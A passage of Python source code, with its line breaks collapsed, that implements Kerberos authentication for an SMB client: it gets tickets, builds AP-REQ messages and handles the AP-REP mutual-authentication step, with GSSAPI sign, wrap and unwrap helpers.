self.kc.construct_apreq(tgs, encpart, self.session_key, flags=flags, seq_number=seq_number, ap_opts=ap_opts) self.iterations += 1 return apreq, False, None else: #mutual authentication part here self.seq_number = seq_number aprep = AP_REP.load(authData).native cipher = _enctype_table[int(aprep['enc-part']['etype'])]() cipher_text = aprep['enc-part']['cipher'] temp = cipher.decrypt(self.session_key, 12, cipher_text) enc_part = EncAPRepPart.load(temp).native cipher = _enctype_table[int( enc_part['subkey']['keytype'])]() now = datetime.datetime.now(datetime.timezone.utc) apreppart_data = {} apreppart_data['cusec'] = now.microsecond apreppart_data['ctime'] = now.replace(microsecond=0) apreppart_data['seq-number'] = enc_part['seq-number'] #print('seq %s' % enc_part['seq-number']) apreppart_data_enc = cipher.encrypt( self.session_key, 12, EncAPRepPart(apreppart_data).dump(), None) #overriding current session key self.session_key = Key(cipher.enctype, enc_part['subkey']['keyvalue']) ap_rep = {} ap_rep['pvno'] = 5 ap_rep['msg-type'] = MESSAGE_TYPE.KRB_AP_REP.value ap_rep['enc-part'] = EncryptedData({ 'etype': self.session_key.enctype, 'cipher': apreppart_data_enc }) token = AP_REP(ap_rep).dump() self.gssapi = get_gssapi(self.session_key) self.iterations += 1 return token, False, None else: apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=flags, seq_number=seq_number, ap_opts=ap_opts) return apreq, False, None except Exception as e: return None, None, e
class SMBKerberos: def __init__(self, settings): self.settings = settings self.mode = None self.ccred = None self.target = None self.spn = None self.kc = None self.session_key = None self.gssapi = None self.iterations = 0 self.etype = None self.setup() async def sign(self, data, message_no, direction='init'): return self.gssapi.GSS_GetMIC(data, message_no, direction=direction) async def encrypt(self, data, message_no): return self.gssapi.GSS_Wrap(data, message_no) async def decrypt(self, data, message_no, direction='init', auth_data=None): return self.gssapi.GSS_Unwrap(data, message_no, direction=direction, auth_data=auth_data) def setup(self): self.mode = self.settings.mode self.ccred = self.settings.ccred self.spn = self.settings.spn self.target = self.settings.target self.kc = AIOKerberosClient(self.ccred, self.target) def get_session_key(self): return self.session_key.contents async def authenticate(self, authData, flags=None, seq_number=0, is_rpc=False): if self.iterations == 0: #tgt = await self.kc.get_TGT(override_etype=[18]) tgt = await self.kc.get_TGT() tgs, encpart, self.session_key = await self.kc.get_TGS(self.spn) ap_opts = [] if is_rpc == True: if self.iterations == 0: ap_opts.append('mutual-required') flags = ChecksumFlags.GSS_C_CONF_FLAG | ChecksumFlags.GSS_C_INTEG_FLAG | ChecksumFlags.GSS_C_SEQUENCE_FLAG|\ ChecksumFlags.GSS_C_REPLAY_FLAG | ChecksumFlags.GSS_C_MUTUAL_FLAG | ChecksumFlags.GSS_C_DCE_STYLE apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=flags, seq_number=seq_number, ap_opts=ap_opts) self.iterations += 1 return apreq, False else: #mutual authentication part here aprep = AP_REP.load(authData).native cipher = _enctype_table[int(aprep['enc-part']['etype'])]() cipher_text = aprep['enc-part']['cipher'] temp = cipher.decrypt(self.session_key, 12, cipher_text) enc_part = EncAPRepPart.load(temp).native cipher = _enctype_table[int(enc_part['subkey']['keytype'])]() now = datetime.datetime.now(datetime.timezone.utc) apreppart_data = {} apreppart_data['cusec'] = now.microsecond apreppart_data['ctime'] = now.replace(microsecond=0) apreppart_data['seq-number'] = enc_part['seq-number'] apreppart_data_enc = cipher.encrypt( self.session_key, 12, EncAPRepPart(apreppart_data).dump(), None) #overriding current session key self.session_key = Key(cipher.enctype, enc_part['subkey']['keyvalue']) ap_rep = {} ap_rep['pvno'] = 5 ap_rep['msg-type'] = MESSAGE_TYPE.KRB_AP_REP.value ap_rep['enc-part'] = EncryptedData({ 'etype': self.session_key.enctype, 'cipher': apreppart_data_enc }) token = AP_REP(ap_rep).dump() self.gssapi = get_gssapi(self.session_key) self.iterations += 1 return token, False else: apreq = self.kc.construct_apreq(tgs, encpart, self.session_key, flags=flags, seq_number=seq_number, ap_opts=ap_opts) return apreq, False